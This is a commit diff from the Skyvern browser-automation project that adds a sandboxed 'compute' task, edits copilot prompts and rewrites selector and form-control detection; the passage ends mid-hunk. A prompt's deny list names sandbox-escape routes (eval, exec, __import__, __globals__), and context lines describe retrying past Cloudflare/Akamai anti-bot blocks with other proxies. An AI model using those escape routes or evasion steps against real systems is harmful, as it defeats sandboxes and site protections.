Skip to content

Automate browser based workflows with AI

feat: backend activity-driven persistent browser session lease renewal (SKY-10833, SKY-13045) (#7813)

Suchintan57cf308d032f
diff --git a/alembic/versions/2026_07_28_1744-ff4452dc827f_add_last_activity_at_to_persistent_browser_sessions.py b/alembic/versions/2026_07_28_1744-ff4452dc827f_add_last_activity_at_to_persistent_browser_sessions.py
new file mode 100644
index 000000000..b04f15a60
--- /dev/null
+++ b/alembic/versions/2026_07_28_1744-ff4452dc827f_add_last_activity_at_to_persistent_browser_sessions.py
@@ -0,0 +1,34 @@
+"""add last_activity_at to persistent_browser_sessions
+
+Revision ID: ff4452dc827f
+Revises: 9c1f2a7be4d0
+Create Date: 2026-07-28T17:44:16.437218+00:00
+
+"""
+
+from typing import Sequence, Union
+
+import sqlalchemy as sa
+
+from alembic import op
+
+# revision identifiers, used by Alembic.
+revision: str = "ff4452dc827f"
+down_revision: Union[str, None] = "9c1f2a7be4d0"
+branch_labels: Union[str, Sequence[str], None] = None
+depends_on: Union[str, Sequence[str], None] = None
+
+
+def upgrade() -> None:
+ op.execute("SET lock_timeout = '5s';")
+ op.add_column(
+ "persistent_browser_sessions",
+ sa.Column("last_activity_at", sa.DateTime(), nullable=True),
+ )
+ op.execute("RESET lock_timeout;")
+
+
+def downgrade() -> None:
+ op.execute("SET lock_timeout = '5s';")
+ op.drop_column("persistent_browser_sessions", "last_activity_at")
+ op.execute("RESET lock_timeout;")
diff --git a/skyvern-frontend/src/api/types.ts b/skyvern-frontend/src/api/types.ts
index 8319b7d63..fef39b0e0 100644
--- a/skyvern-frontend/src/api/types.ts
+++ b/skyvern-frontend/src/api/types.ts
@@ -717,6 +717,12 @@ export type EvalApiResponse = Array<
EvalWorkflow | EvalTask | EvalBrowserSession
>;
+export interface EvalModelTierStat {
+ total: number;
+ perfect_count: number;
+ pass_rate: number | null;
+}
+
export interface EvalModelSummary {
model: string | null;
total: number;
@@ -726,6 +732,7 @@ export interface EvalModelSummary {
rubric_avg: number | null;
duration_avg_s: number | null;
last_started_at: string | null;
+ tiers?: Partial<Record<"easy" | "medium" | "hard", EvalModelTierStat>>;
}
export interface EvalSummaryResponse {
diff --git a/skyvern/config.py b/skyvern/config.py
index 5f9e3d410..f02054fa0 100644
--- a/skyvern/config.py
+++ b/skyvern/config.py
@@ -193,7 +193,6 @@ class Settings(BaseSettings):
COPILOT_COMPLETION_JUDGE_TIMEOUT_SECONDS: float = 12.0
# Consecutive repair runs that make no newly-verified forward progress before the
# copilot stops re-running and escalates honestly. Set very high to disable the ceiling.
- COPILOT_REPAIR_CEILING_CONSECUTIVE_IDENTICAL: int = 3
COPILOT_SCOUT_ACT_OBSERVE_TIMEOUT_SECONDS: float = 4.0
# Bounded settle-then-re-perceive after a non-advancing click on a precondition-gated control:
# re-probe the side-effect-free extractor a few times (hard-capped) until a just-issued AJAX populates.
diff --git a/skyvern/forge/prompts/skyvern/task_v2.j2 b/skyvern/forge/prompts/skyvern/task_v2.j2
index e18022e39..0c92f6ad6 100644
--- a/skyvern/forge/prompts/skyvern/task_v2.j2
+++ b/skyvern/forge/prompts/skyvern/task_v2.j2
@@ -9,6 +9,10 @@ You have access to the following task types to take actions:
- When the goal is "Open up to 10 links from an ecomm search result page, and extract information like the price of each product.", loop task should be used to iterate through a list of links or URLs. In each iteration of the loop, the task will go to the linked page and trigger another planning session with the goal of extracting price information of the product
- When the goal is "download 5 documents found on a page", loop task should be used to iterate through a list of document names. Each document will trigger another planning session to download the relative document
- When the goal is "compare a field across 10 items", use ONE loop over the 10 items — do NOT plan 10 separate navigate+extract task pairs
+{% if compute_enabled|default(false) %}- compute: this task runs a small program over data that earlier extract/loop tasks have ALREADY captured into the task history, to produce a deliverable that requires deterministic calculation — ranking, totaling, averaging, counting, filtering, or selecting the minimum/maximum across the gathered records. Use compute when every piece of DATA the answer needs is already present in the task history's extracted_data and the only remaining work is to combine or calculate over it. Do NOT use extract for this — extract only re-scrapes the current page and cannot reliably rank, total, or pick across the task history; a compute task computes the exact answer from data you already have.
+ - When the goal is "find the cheapest plan" and the plan tiers have already been extracted, use compute to select the minimum by price from the extracted tiers
+ - When the goal is "rank the products by rating" or "total the prices of the rows you collected", and the underlying rows are already in the task history, use compute to produce the ranking or total
+{% endif %}
**Loop preference:** Do NOT decompose repeated same-shape work into many sequential one-off navigate/extract tasks. Iterating N items as N separate planned tasks exhausts the planning-iteration and step budget and usually runs out before finishing; a single loop task does the same work in one planning step. Reach for a loop as soon as you can enumerate (or will discover on the page) a list of similar targets, even before you know the exact count.
@@ -48,6 +52,8 @@ CRITICAL - Do not declare success on a partially-complete multi-part goal:
CRITICAL - The agent's own final answer is composed at completion, not by a task:
- The final summary, comparison, recommendation, brief, or decision returned to the user is written automatically once you set user_goal_achieved to true. No task type authors it — extract only scrapes the current page and cannot synthesize across the task history.
- Once the underlying DATA each required part needs has been captured by extract tasks, set user_goal_achieved to true. Do NOT plan extract or navigate tasks whose only purpose is to author the agent's own response — e.g. "summarize the findings", "combine the results into a recommendation", "present the comparison". That loops forever, because extract keeps returning page data instead of the synthesis, and it is the single most common way these runs exhaust their step budget.
+{% if compute_enabled|default(false) %}- Exception — deterministic calculation over gathered data is a compute task, not the auto-written summary: if the deliverable requires a precise computed result over data already in the task history (rank the items, total/average a column, count matches, filter, pick the min/max), plan ONE compute task to calculate it exactly before completing. The auto-written summary handles prose, but it should not be relied on to do arithmetic or ranking in its head. Still do NOT use extract for this, and do NOT plan a compute task merely to re-word a prose summary.
+{% endif %}
- Exception — required on-page actions still count: entering content INTO a web page the goal asks you to fill (a form, document, or post), and completing terminal actions the goal requires (submit, confirm, place order, send), are real navigate tasks and must still be done. This carve-out is only about the agent's own returned answer — do NOT set user_goal_achieved to true while a required final action is still pending.
CRITICAL - Honor explicit count, selection, and kept-open-tab constraints in the goal:
@@ -74,7 +80,7 @@ Reply in JSON format with the following keys:
"should_terminate": bool, // True ONLY if the user goal is definitively IMPOSSIBLE to achieve. Must have explicit evidence from the page. See termination guidelines above. False if there's any chance the goal can still be achieved.
"termination_reason": str, // If should_terminate is true, quote the EXACT error message or text from the page that proves impossibility. Be specific. Null if should_terminate is false.
"plan": str, // The mini goal to achieve to move towards the user goal. DO NOT come up or hallucinate any data that's not provided in the user goal. Be accurate and precise. Return null if the user goal has been achieved or if should_terminate is true.
- "task_type": str, // One of the available task types: navigate, extract, loop. Null if user_goal_achieved is true or should_terminate is true.
+ "task_type": str, // One of the available task types: navigate, extract, loop{% if compute_enabled|default(false) %}, compute{% endif %}. Null if user_goal_achieved is true or should_terminate is true.
"loop_values": list[str], // a list of string values to iterate through for loop task. null if it's not a loop task
"is_loop_value_link": bool, // true if the loop_values is a list of urls to go to before for each planning session inside the loop
}
diff --git a/skyvern/forge/prompts/skyvern/task_v2_generate_compute_code.j2 b/skyvern/forge/prompts/skyvern/task_v2_generate_compute_code.j2
new file mode 100644
index 000000000..ad869a6a2
--- /dev/null
+++ b/skyvern/forge/prompts/skyvern/task_v2_generate_compute_code.j2
@@ -0,0 +1,46 @@
+You are given structured data that earlier steps already gathered from the web, and a goal that requires computing a deliverable from that data (for example: rank items, total a column, pick the minimum or maximum, filter, count, or aggregate). Write a short Python snippet that computes the answer.
+
+The overall user goal:
+{{ user_goal }}
+
+What this compute step must produce:
+{{ plan }}
+
+A variable named `gathered_data` is ALREADY defined in your scope. Do NOT redefine it and do NOT re-type the data into your code. It is a list of records; each record has the keys "type" (the kind of step), "task" (what that step did), and "extracted_data" (the structured data that step captured). Here is its current content so you can see the exact field names and shapes to read from:
+
+{{ gathered_data }}
+
+Write Python that reads from `gathered_data` and computes the deliverable for the goal.
+
+STRICT sandbox rules — code that violates ANY of them is rejected and you will be asked to rewrite it:
+- NO `import` statements of any kind. The data you need is already in `gathered_data`.
+- NO dunder access: do not use any name or attribute that starts with `__` (e.g. `__class__`, `__globals__`).
+- NO file, network, OS, subprocess, or environment access.
+- This is a DATA-ONLY step. Do NOT reference `page`, the browser, `await`, `asyncio`, `sleep`, `otp`, `re`/regex, `eval`, `exec`, or `compile`. Your code must be fully synchronous and operate only on `gathered_data`.
+- Do NOT use `while` loops or `.format`/`.format_map`. Iterate with bounded `for`/comprehensions over the data, and build strings with f-strings or concatenation.
+- The final line of your code MUST be the unconditional `return {"output": <deliverable>}` — not inside an `if`, loop, or helper function. Handle empty/missing data by computing a default value first, then returning it on that final line.
+{% raw %}- Do NOT use Jinja template syntax (`{{ ... }}`, `{% ... %}`) anywhere in your code, and avoid f-strings with doubled braces.{% endraw %}
+- The ONLY names available to you are:
+ - builtins: `len`, `range`, `str`, `int`, `float`, `dict`, `list`, `tuple`, `set`, `bool`, `isinstance`, `enumerate`, `any`, `all`, `max`, `min`, `sum`, `sorted`, `print`
+ - `json` (only `json.dumps` and `json.loads`)
+ - the variable `gathered_data`
+ - plus Python syntax: `lambda`, list/dict/set comprehensions, f-strings, slicing, and arithmetic/comparison/boolean operators.
+- `round`, `abs`, `map`, `filter`, `zip`, `reversed`, and `__import__` are NOT available — do not use them. For an average, use `sum(values) / len(values)`. For a sorted-descending list, use `sorted(items, key=..., reverse=True)`.
+- Your snippet MUST end with an explicit `return {"output": <deliverable>}` statement, where `<deliverable>` is the computed answer (a value, list, or dict). The explicit `return` is required — without it the result is discarded.
+
+Keep the code minimal and defensive: tolerate missing keys with `.get(...)` and skip records whose `extracted_data` does not contain what you need.
+{% if safety_error %}
+
+Your PREVIOUS attempt was rejected by the safety check:
+ERROR: {{ safety_error }}
+PREVIOUS CODE:
+{{ prior_attempt }}
+
+Rewrite the snippet so it obeys every rule above. Return only safe code.
+{% endif %}
+
+Respond in this exact JSON format:
+{
+ "thoughts": "<brief reasoning: which records in gathered_data you read, and how you compute the deliverable>",
+ "code": "<the Python snippet; it MUST end with return {\"output\": <deliverable>}>"
+}
diff --git a/skyvern/forge/prompts/skyvern/workflow-copilot-agent.j2 b/skyvern/forge/prompts/skyvern/workflow-copilot-agent.j2
index 6200f30b2..196240f2a 100644
--- a/skyvern/forge/prompts/skyvern/workflow-copilot-agent.j2
+++ b/skyvern/forge/prompts/skyvern/workflow-copilot-agent.j2
@@ -111,6 +111,8 @@ When a run fails with "Access Denied", an Akamai/Cloudflare/Imperva reference, o
8. Try at least two genuinely distinct approaches before concluding infeasible.
9. If still blocked, explain the specific anti-bot evidence observed (for example Cloudflare, CAPTCHA, "verify you are human", Access Denied, or a blank "Just a moment..." page), describe exactly what you tried, and ask whether to try a different proxy/location, entry URL, or alternate source.
+MANDATORY: Once the workflow exists, change it with edit_block and delete_block — one call per block you are actually changing. Re-sending the whole workflow to change part of it is how a block that already worked gets disturbed, and it grows the conversation with every repair. Send a complete workflow only to create the first draft, or when the user asks for a rebuild.
+
MANDATORY: After every workflow update, you MUST test it unless the latest user message explicitly asks you to skip testing or create an untested draft. Prefer update_and_run_blocks (single call) over separate update_workflow + run_blocks_and_collect_debug calls. Grow the workflow incrementally (known-good blocks + next block) unless the user explicitly asks for a one-shot full draft. Feasibility decisions must be based on the latest test result. If you conclude the request is infeasible, explain the specific evidence from that latest run.
MANDATORY: The Accept/Reject proposal UI normally appears when your latest run_blocks_and_collect_debug or update_and_run_blocks returned ok=true this turn. If the latest user message explicitly asks for an untested draft (for example, "make a workflow without testing it", "skip testing", or "draft only"), you MAY call update_workflow without a block-running test and respond with REPLY. In that case, say the workflow was drafted without testing as requested, and do NOT say it is successful, working, ready, or verified. If testing is impossible and the user did not explicitly ask to skip testing, stop and ask a clarifying question instead of leaving an untested draft.
MANDATORY: If the latest run only validates an intermediate step (for example, "reached homepage"), do NOT present that as the final proposal when the user asked for a larger outcome (for example, finding/downloading specific files). Continue internal iteration.
@@ -141,7 +143,7 @@ When the user reports a problem with workflow output (duplicates, missing data,
1. Pure observation or complaint: inspect with current context and get_run_results if needed, then clarify or explain what evidence is missing. Do NOT modify or run the workflow by default.
2. Explicit fix request: use get_run_results to see the actual output data from the most recent run. Do NOT guess what went wrong.
3. Analyze: Compare the output data against the user's complaint to understand the specific issue.
-4. Fix: Modify the workflow to address the root cause, then call update_workflow or update_and_run_blocks as required by the workflow submission/testing rules.
+4. Fix: Change the blocks that are wrong with edit_block (one call per block), or delete_block to remove one, then run the affected blocks with run_blocks_and_collect_debug. Do not re-send the whole workflow to change part of it.
5. Explain: Tell the user what you found and what you changed.
USER WORKFLOW CHANGES SINCE LAST COPILOT TURN:
diff --git a/skyvern/forge/sdk/copilot/agent.py b/skyvern/forge/sdk/copilot/agent.py
index 66f6cf4b0..4eb92e3af 100644
--- a/skyvern/forge/sdk/copilot/agent.py
+++ b/skyvern/forge/sdk/copilot/agent.py
@@ -2318,7 +2318,7 @@ async def _build_built_unverified_exit_result(ctx: CopilotContext, global_llm_co
)
-_SCOUTED_SPINE_HALT_REPLY_KINDS = frozenset({TurnHaltKind.LOOP_DETECTED, TurnHaltKind.REPAIR_CEILING_REACHED})
+_SCOUTED_SPINE_HALT_REPLY_KINDS = frozenset({TurnHaltKind.LOOP_DETECTED})
_SCOUTED_SPINE_MISSING_STEPS_PREFIX = "This draft is still missing steps you demonstrated:"
diff --git a/skyvern/forge/sdk/copilot/blocker_signal.py b/skyvern/forge/sdk/copilot/blocker_signal.py
index 8bf2d6624..44b80798f 100644
--- a/skyvern/forge/sdk/copilot/blocker_signal.py
+++ b/skyvern/forge/sdk/copilot/blocker_signal.py
@@ -370,7 +370,6 @@ GENUINELY_TERMINAL_BLOCKER_REASON_CODES: frozenset[str] = frozenset(
OUTPUT_SOURCE_UNOBSERVABLE_REASON_CODE,
OUTPUT_CONTRACT_ACTUATION_EXHAUSTED_REASON_CODE,
"advisory_dispatch_stalled",
- "repair_ceiling_reached",
DISCOVERY_EXHAUSTED_NO_ENTRY_URL_REASON_CODE,
}
)
@@ -507,10 +506,6 @@ _LOOP_BRANCH_COPY: dict[str, tuple[str, str]] = {
"I couldn't keep going on this turn.",
"Tell me what to change and I'll try again.",
),
- "repair_ceiling_reached": (
- "I couldn't get past the same problem after several attempts.",
- "Tell me what to change and I'll try a different approach.",
- ),
"code_authoring_guardrail_churn": (
"I kept rewriting the generated code, but the safety checks rejected each version.",
"Tell me what to change and I'll try a different approach.",
diff --git a/skyvern/forge/sdk/copilot/build_phase.py b/skyvern/forge/sdk/copilot/build_phase.py
index 263999d9a..77a1bb831 100644
--- a/skyvern/forge/sdk/copilot/build_phase.py
+++ b/skyvern/forge/sdk/copilot/build_phase.py
@@ -332,7 +332,7 @@ def _phase_blocker_signal(ctx: Any, tool_name: str) -> CopilotToolBlockerSignal
),
user_facing_reason="I kept the existing target for this workflow instead of starting over.",
recovery_hint="retry_with_different_tool",
- cleared_by_tools=frozenset({"update_workflow", "update_and_run_blocks"}),
+ cleared_by_tools=frozenset({"update_workflow", "update_and_run_blocks", "edit_block"}),
renders_final_reply=False,
internal_reason_code="build_phase_discovery_disallowed_post_compose",
blocked_tool=tool_name,
diff --git a/skyvern/forge/sdk/copilot/composition_browser_expressions.py b/skyvern/forge/sdk/copilot/composition_browser_expressions.py
index b743bce16..3fcdc244a 100644
--- a/skyvern/forge/sdk/copilot/composition_browser_expressions.py
+++ b/skyvern/forge/sdk/copilot/composition_browser_expressions.py
@@ -22,8 +22,6 @@ from skyvern.forge.sdk.copilot.composition_evidence import (
_MAX_SELECT_OPTIONS,
_MAX_TABLE_HEADERS,
_MAX_VISIBLE_TEXT_EXCERPT_CHARS,
- _MODAL_DISMISS_HINTS,
- _MODAL_DISMISS_SYMBOLS,
_MODAL_IDENTITY_PATTERNS,
_MODAL_ROLE_VALUES,
_RESULT_CONTAINER_HINTS,
@@ -174,6 +172,38 @@ def selector_match_count_expression(css_selector: str) -> str:
return f"(() => {{ try {{ return document.querySelectorAll({sel}).length; }} catch (e) {{ return -1; }}}})()"
+# Submit controls belonging to the form that contains a just-filled field. A login page often
+# offers a federated button that is larger and earlier in the DOM than the form's own submit, so
+# naming the filled form's submits keeps "how do I submit what I just filled" from being a guess.
+def enclosing_form_submit_controls_expression(css_selector: str) -> str:
+ sel = json.dumps(css_selector)
+ return (
+ "(() => {"
+ " try {"
+ f" const el = document.querySelector({sel});"
+ " const form = el && el.closest ? el.closest('form') : null;"
+ " if (!form) return [];"
+ " const uniq = (s) => { try { return s && document.querySelectorAll(s).length === 1; } catch (e) { return false; } };"
+ " const esc = (v) => String(v).split('\\\\').join('\\\\\\\\').split('\"').join('\\\\\"');"
+ " const out = [];"
+ " for (const c of form.querySelectorAll('button, input[type=submit]')) {"
+ " if (out.length >= 5) break;"
+ " const aria = c.getAttribute('aria-label') || '';"
+ " const label = (String(c.textContent || '').replace(/\\s+/g, ' ').trim()"
+ " || aria || c.getAttribute('title') || c.getAttribute('value') || '').slice(0, 80);"
+ " const tag = (c.tagName || '').toLowerCase();"
+ " const id = c.getAttribute('id');"
+ " let s = '';"
+ " if (id && uniq('#' + id)) s = '#' + id;"
+ " else if (aria && uniq(tag + '[aria-label=\"' + esc(aria) + '\"]')) s = tag + '[aria-label=\"' + esc(aria) + '\"]';"
+ " out.push({ label: label, selector: s });"
+ " }"
+ " return out;"
+ " } catch (e) { return []; }"
+ "})()"
+ )
+
+
def scout_dynamic_row_evidence_expression(selector: str) -> str:
"""Capture a bounded, source-page row identity for an exact positional click target.
@@ -332,8 +362,6 @@ _STRUCTURED_CONST_HEADER = (
f"const ANTI_BOT_PATTERNS={json.dumps(list(_ANTI_BOT_PATTERNS))};"
f"const MODAL_IDENTITY_PATTERNS={json.dumps(sorted(_MODAL_IDENTITY_PATTERNS))};"
f"const MODAL_ROLE_VALUES={json.dumps(sorted(_MODAL_ROLE_VALUES))};"
- f"const MODAL_DISMISS_HINTS={json.dumps(sorted(_MODAL_DISMISS_HINTS))};"
- f"const MODAL_DISMISS_SYMBOLS={json.dumps(sorted(_MODAL_DISMISS_SYMBOLS))};"
f"const RESULT_CONTAINER_HINTS={json.dumps(sorted(_RESULT_CONTAINER_HINTS))};"
f"const MAX_FORMS={int(_MAX_FORMS)};"
f"const MAX_FIELDS_PER_FORM={int(_MAX_FIELDS_PER_FORM)};"
@@ -365,18 +393,79 @@ const classesFor = (el) => Array.from((el && el.classList) || []).map((c) => Str
const cssAttr = (v) => String(v).split('\\').join('\\\\').split('"').join('\\"');
const simpleIdent = (v) => { if (!v) return false; if (!/[A-Za-z_-]/.test(v[0])) return false; for (let i = 1; i < v.length; i++) { if (!/[A-Za-z0-9_-]/.test(v[i])) return false; } return true; };
const classSelector = (classes) => { const parts = []; for (const c of classes.slice(0, 3)) { parts.push(simpleIdent(c) ? '.' + c : '[class~="' + cssAttr(c) + '"]'); } return parts.join(''); };
+const resolvesUniquely = (sel, el) => {
+ if (!sel) return false;
+ try { const m = document.querySelectorAll(sel); return m.length === 1 && m[0] === el; } catch (e) { return false; }
+};
+const structuralPath = (el) => {
+ const parts = [];
+ let node = el;
+ while (node && node.nodeType === 1 && parts.length < 8) {
+ const tag = (node.tagName || '').toLowerCase();
+ if (!tag || tag === 'html') break;
+ const parent = node.parentElement;
+ if (!parent) { parts.unshift(tag); break; }
+ let idx = 1;
+ for (let i = 0; i < parent.children.length; i++) {
+ const sib = parent.children[i];
+ if (sib === node) break;
+ if (sib.tagName === node.tagName) idx++;
+ }
+ parts.unshift(tag + ':nth-of-type(' + idx + ')');
+ const pid = attr(parent, 'id');
+ if (pid && simpleIdent(pid)) { parts.unshift('#' + pid); break; }
+ node = parent;
+ }
+ return parts.join(' > ');
+};
+// The selector is a contract: the model clicks it and authors it into generated blocks, so an
+// ambiguous or unresolvable guess costs a failed run rather than a retry. Every candidate is
+// verified to match this exact node and nothing else before it is handed out.
const selectorFor = (el) => {
const tag = (el.tagName || '*').toLowerCase();
- const id = attr(el, 'id'); if (id) return '#' + id;
+ const candidates = [];
+ const id = attr(el, 'id');
+ if (id) candidates.push(simpleIdent(id) ? '#' + id : tag + '[id="' + cssAttr(id) + '"]');
const name = attr(el, 'name'); const value = attr(el, 'value');
- if (name && value) return tag + '[name="' + cssAttr(name) + '"][value="' + cssAttr(value) + '"]';
+ if (name && value) candidates.push(tag + '[name="' + cssAttr(name) + '"][value="' + cssAttr(value) + '"]');
const classes = classesFor(el); const cs = classSelector(classes);
- if (cs && value) return tag + cs + '[value="' + cssAttr(value) + '"]';
- if (name) return tag + '[name="' + cssAttr(name) + '"]';
+ if (cs && value) candidates.push(tag + cs + '[value="' + cssAttr(value) + '"]');
+ if (name) candidates.push(tag + '[name="' + cssAttr(name) + '"]');
const href = attr(el, 'href');
- if (tag === 'a' && href) return 'a[href="' + cssAttr(href) + '"]';
- if (cs) return tag + cs;
- return tag;
+ if (tag === 'a' && href) candidates.push('a[href="' + cssAttr(href) + '"]');
+ if (cs) candidates.push(tag + cs);
+ const type = attr(el, 'type');
+ if (cs && type) candidates.push(tag + cs + '[type="' + cssAttr(type) + '"]');
+ for (let i = 0; i < candidates.length; i++) {
+ if (resolvesUniquely(candidates[i], el)) return candidates[i];
+ }
+ const path = structuralPath(el);
+ if (resolvesUniquely(path, el)) return path;
+ return candidates.length ? candidates[0] : tag;
+};
+// A submit control with no text still has an identity in title/aria-label/alt (an icon-only
+// "Sign in with Google" is the common shape). Reporting it as an empty string offers the model an
+// anonymous control alongside the named one it actually wants.
+const controlLabel = (el) => {
+ const own = nodeText(el) || attr(el, 'value');
+ if (own) return own;
+ const img = el.querySelector && el.querySelector('img[alt], [aria-label]');
+ return (
+ attr(el, 'aria-label') ||
+ attr(el, 'title') ||
+ (img ? attr(img, 'alt') || attr(img, 'aria-label') : '') ||
+ ''
+ );
+};
+// A filled value lives on the DOM property, not the attribute, and a password's value must never
+// be reported at all. Without a non-secret filled signal the page looks unfilled after a credential
+// fill, and the agent concludes the fill failed and hunts for another way to sign in.
+const isFilled = (el) => {
+ try {
+ return typeof el.value === 'string' && el.value.length > 0;
+ } catch (e) {
+ return false;
+ }
};
const FIELD_TAGS = new Set(['input', 'select', 'textarea', 'button']);
const adjacentText = (field) => {
@@ -461,17 +550,12 @@ const modalDismissControls = (node) => {
if (out.length >= MAX_MODAL_DISMISS_CONTROLS) break;
const selector = selectorFor(c);
if (seen.has(selector)) continue;
- const text = nodeText(c) || attr(c, 'value');
- const ariaLabel = attr(c, 'aria-label');
- const title = attr(c, 'title');
- const explicit = [text.trim().toLowerCase(), ariaLabel.trim().toLowerCase(), title.trim().toLowerCase()];
- const identity = (text + ' ' + ariaLabel + ' ' + title + ' ' + modalIdentity(c)).toLowerCase();
- const hasDataDismiss = c.hasAttribute && c.hasAttribute('data-dismiss');
- const hasSymbol = MODAL_DISMISS_SYMBOLS.some((s) => explicit.includes(s));
- const hasText = MODAL_DISMISS_HINTS.some((h) => identity.includes(h));
- if (!(hasDataDismiss || hasSymbol || hasText)) continue;
+ // Every control the dialog offers is reported. A keyword list cannot name every way a dialog
+ // closes ("No, keep ...", an icon-only glyph), and filtering on one leaves the agent looking at
+ // a modal it has no way to clear.
+ const text = controlLabel(c);
seen.add(selector);
- out.push({ tag: (c.tagName || '').toLowerCase(), text: text, aria_label: ariaLabel, title: title, selector: selector, type: attr(c, 'type') });
+ out.push({ tag: (c.tagName || '').toLowerCase(), text: text, aria_label: attr(c, 'aria-label'), title: attr(c, 'title'), selector: selector, type: attr(c, 'type') });
}
return out;
};
@@ -492,11 +576,11 @@ for (const form of document.querySelectorAll('form')) {
: (declaredType || tag || 'text');
if (tag === 'input' && (fieldType === 'hidden' || fieldType === 'reset')) continue;
if (tag === 'button' || fieldType === 'submit' || fieldType === 'button') {
- submitControls.push({ text: nodeText(node) || attr(node, 'value'), name: attr(node, 'name'), id: attr(node, 'id'), value: attr(node, 'value'), class: classesFor(node), type: fieldType, disabled: controlDisabled(node), selector: selectorFor(node) });
+ submitControls.push({ text: controlLabel(node), name: attr(node, 'name'), id: attr(node, 'id'), value: attr(node, 'value'), class: classesFor(node), type: fieldType, disabled: controlDisabled(node), selector: selectorFor(node) });
continue;
}
if (fields.length >= MAX_FIELDS_PER_FORM) continue;
- fields.push({ name: attr(node, 'name'), id: attr(node, 'id'), label: fieldLabel(node), type: fieldType, value: attr(node, 'value'), class: classesFor(node), placeholder: attr(node, 'placeholder'), required: !!(node.hasAttribute('required') || lower(attr(node, 'aria-required')) === 'true'), disabled: controlDisabled(node), checked: node.hasAttribute('checked'), options: tag === 'select' ? selectOptions(node) : [], selector: selectorFor(node) });
+ fields.push({ name: attr(node, 'name'), id: attr(node, 'id'), label: fieldLabel(node), type: fieldType, value: attr(node, 'value'), filled: isFilled(node), class: classesFor(node), placeholder: attr(node, 'placeholder'), required: !!(node.hasAttribute('required') || lower(attr(node, 'aria-required')) === 'true'), disabled: controlDisabled(node), checked: node.hasAttribute('checked'), options: tag === 'select' ? selectOptions(node) : [], selector: selectorFor(node) });
}
forms.push({ id: attr(form, 'id'), name: attr(form, 'name'), action: attr(form, 'action'), method: attr(form, 'method'), fields: fields, submit_controls: submitControls });
}
diff --git a/skyvern/forge/sdk/copilot/composition_evidence.py b/skyvern/forge/sdk/copilot/composition_evidence.py
index d2e97c644..f71084388 100644
--- a/skyvern/forge/sdk/copilot/composition_evidence.py
+++ b/skyvern/forge/sdk/copilot/composition_evidence.py
@@ -69,18 +69,6 @@ _MAX_VISIBLE_CONTROLS = 6
_MAX_CLICKABLE_CONTROLS = 12
_MODAL_IDENTITY_PATTERNS: frozenset[str] = frozenset({"modal", "popup", "overlay", "dialog", "drawer", "lightbox"})
_MODAL_ROLE_VALUES: frozenset[str] = frozenset({"dialog", "alertdialog"})
-_MODAL_DISMISS_HINTS: frozenset[str] = frozenset(
- {
- "cancel",
- "close",
- "dismiss",
- "got it",
- "no thanks",
- "not now",
- "skip",
- }
-)
-_MODAL_DISMISS_SYMBOLS: frozenset[str] = frozenset({"x", "\u00d7"})
_MAX_VISIBLE_TEXT_EXCERPT_CHARS = 3000
DOM_EVIDENCE_SOURCE = "dom_html"
DOM_STYLE_EVIDENCE_SOURCE = "dom_style"
@@ -1329,27 +1317,97 @@ def _class_selector(classes: list[str]) -> str:
return "".join(parts)
+def _resolves_uniquely(node: Any, selector: str) -> bool:
+ if not selector:
+ return False
+ root = node
+ while getattr(root, "parent", None) is not None:
+ root = root.parent
+ try:
+ matches = root.select(selector)
+ except Exception:
+ return False
+ return len(matches) == 1 and matches[0] is node
+
+
+def _structural_path(node: Any) -> str:
+ parts: list[str] = []
+ current = node
+ while current is not None and getattr(current, "name", None) and len(parts) < 8:
+ tag_name = current.name
+ if tag_name in {"html", "[document]"}:
+ break
+ parent = getattr(current, "parent", None)
+ if parent is None or not getattr(parent, "name", None) or parent.name == "[document]":
+ parts.insert(0, tag_name)
+ break
+ index = 1
+ for sibling in parent.find_all(tag_name, recursive=False):
+ if sibling is current:
+ break
+ index += 1
+ parts.insert(0, f"{tag_name}:nth-of-type({index})")
+ parent_id = _attr_value(parent, "id")
+ if parent_id and _simple_css_identifier(parent_id):
+ parts.insert(0, f"#{parent_id}")
+ break
+ current = parent
+ return " > ".join(parts)
+
+
+def _control_label(node: Any) -> str:
+ """Mirror of ``controlLabel``. A submit control with no text still has an identity in
+ title/aria-label/alt; reporting it empty offers the model an anonymous control next to the
+ named one it actually wants."""
+ own = _node_text(node) or str(node.get("value") or "")
+ if own:
+ return own
+ for key in ("aria-label", "title"):
+ value = _attr_value(node, key)
+ if value:
+ return value
+ image = node.find("img") if hasattr(node, "find") else None
+ if image is not None:
+ return _attr_value(image, "alt") or _attr_value(image, "aria-label")
+ return ""
+
+
def _selector_for(node: Any) -> str:
+ """Mirror of ``selectorFor`` in composition_browser_expressions. The selector is a contract: the
+ model clicks it and authors it into generated blocks, so every candidate is verified to match
+ this exact node and nothing else before it is handed out."""
tag_name = getattr(node, "name", None) or "*"
+ candidates: list[str] = []
node_id = _attr_value(node, "id")
if node_id:
- return f"#{node_id}"
+ candidates.append(
+ f"#{node_id}" if _simple_css_identifier(node_id) else f'{tag_name}[id="{_css_attr(node_id)}"]'
+ )
node_name = _attr_value(node, "name")
node_value = _attr_value(node, "value")
if node_name and node_value:
- return f'{tag_name}[name="{_css_attr(node_name)}"][value="{_css_attr(node_value)}"]'
+ candidates.append(f'{tag_name}[name="{_css_attr(node_name)}"][value="{_css_attr(node_value)}"]')
classes = _classes_for(node)
class_selector = _class_selector(classes)
if class_selector and node_value:
- return f'{tag_name}{class_selector}[value="{_css_attr(node_value)}"]'
+ candidates.append(f'{tag_name}{class_selector}[value="{_css_attr(node_value)}"]')
if node_name:
- return f'{tag_name}[name="{_css_attr(node_name)}"]'
+ candidates.append(f'{tag_name}[name="{_css_attr(node_name)}"]')
href = _attr_value(node, "href")
if tag_name == "a" and href:
- return f'a[href="{_css_attr(href)}"]'
+ candidates.append(f'a[href="{_css_attr(href)}"]')
if class_selector:
- return f"{tag_name}{class_selector}"
- return str(tag_name)
+ candidates.append(f"{tag_name}{class_selector}")
+ node_type = _attr_value(node, "type")
+ if class_selector and node_type:
+ candidates.append(f'{tag_name}{class_selector}[type="{_css_attr(node_type)}"]')
+ for candidate in candidates:
+ if _resolves_uniquely(node, candidate):
+ return candidate
+ path = _structural_path(node)
+ if _resolves_uniquely(node, path):
+ return path
+ return candidates[0] if candidates else str(tag_name)
def _clickable_controls_channel(controls: list[dict[str, Any]] | None) -> dict[str, Any]:
@@ -1825,17 +1883,12 @@ def _modal_dismiss_controls(node: Any) -> list[dict[str, Any]]:
selector = _selector_for(control)[:160]
if selector in seen_selectors:
continue
- text = _schema_text(_node_text(control) or _attr_value(control, "value"), 120)
+ # Every control the dialog offers is reported. A keyword list cannot name every way a dialog
+ # closes ("No, keep ...", an icon-only glyph), and filtering on one leaves the agent looking
+ # at a modal it has no way to clear.
+ text = _schema_text(_control_label(control), 120)
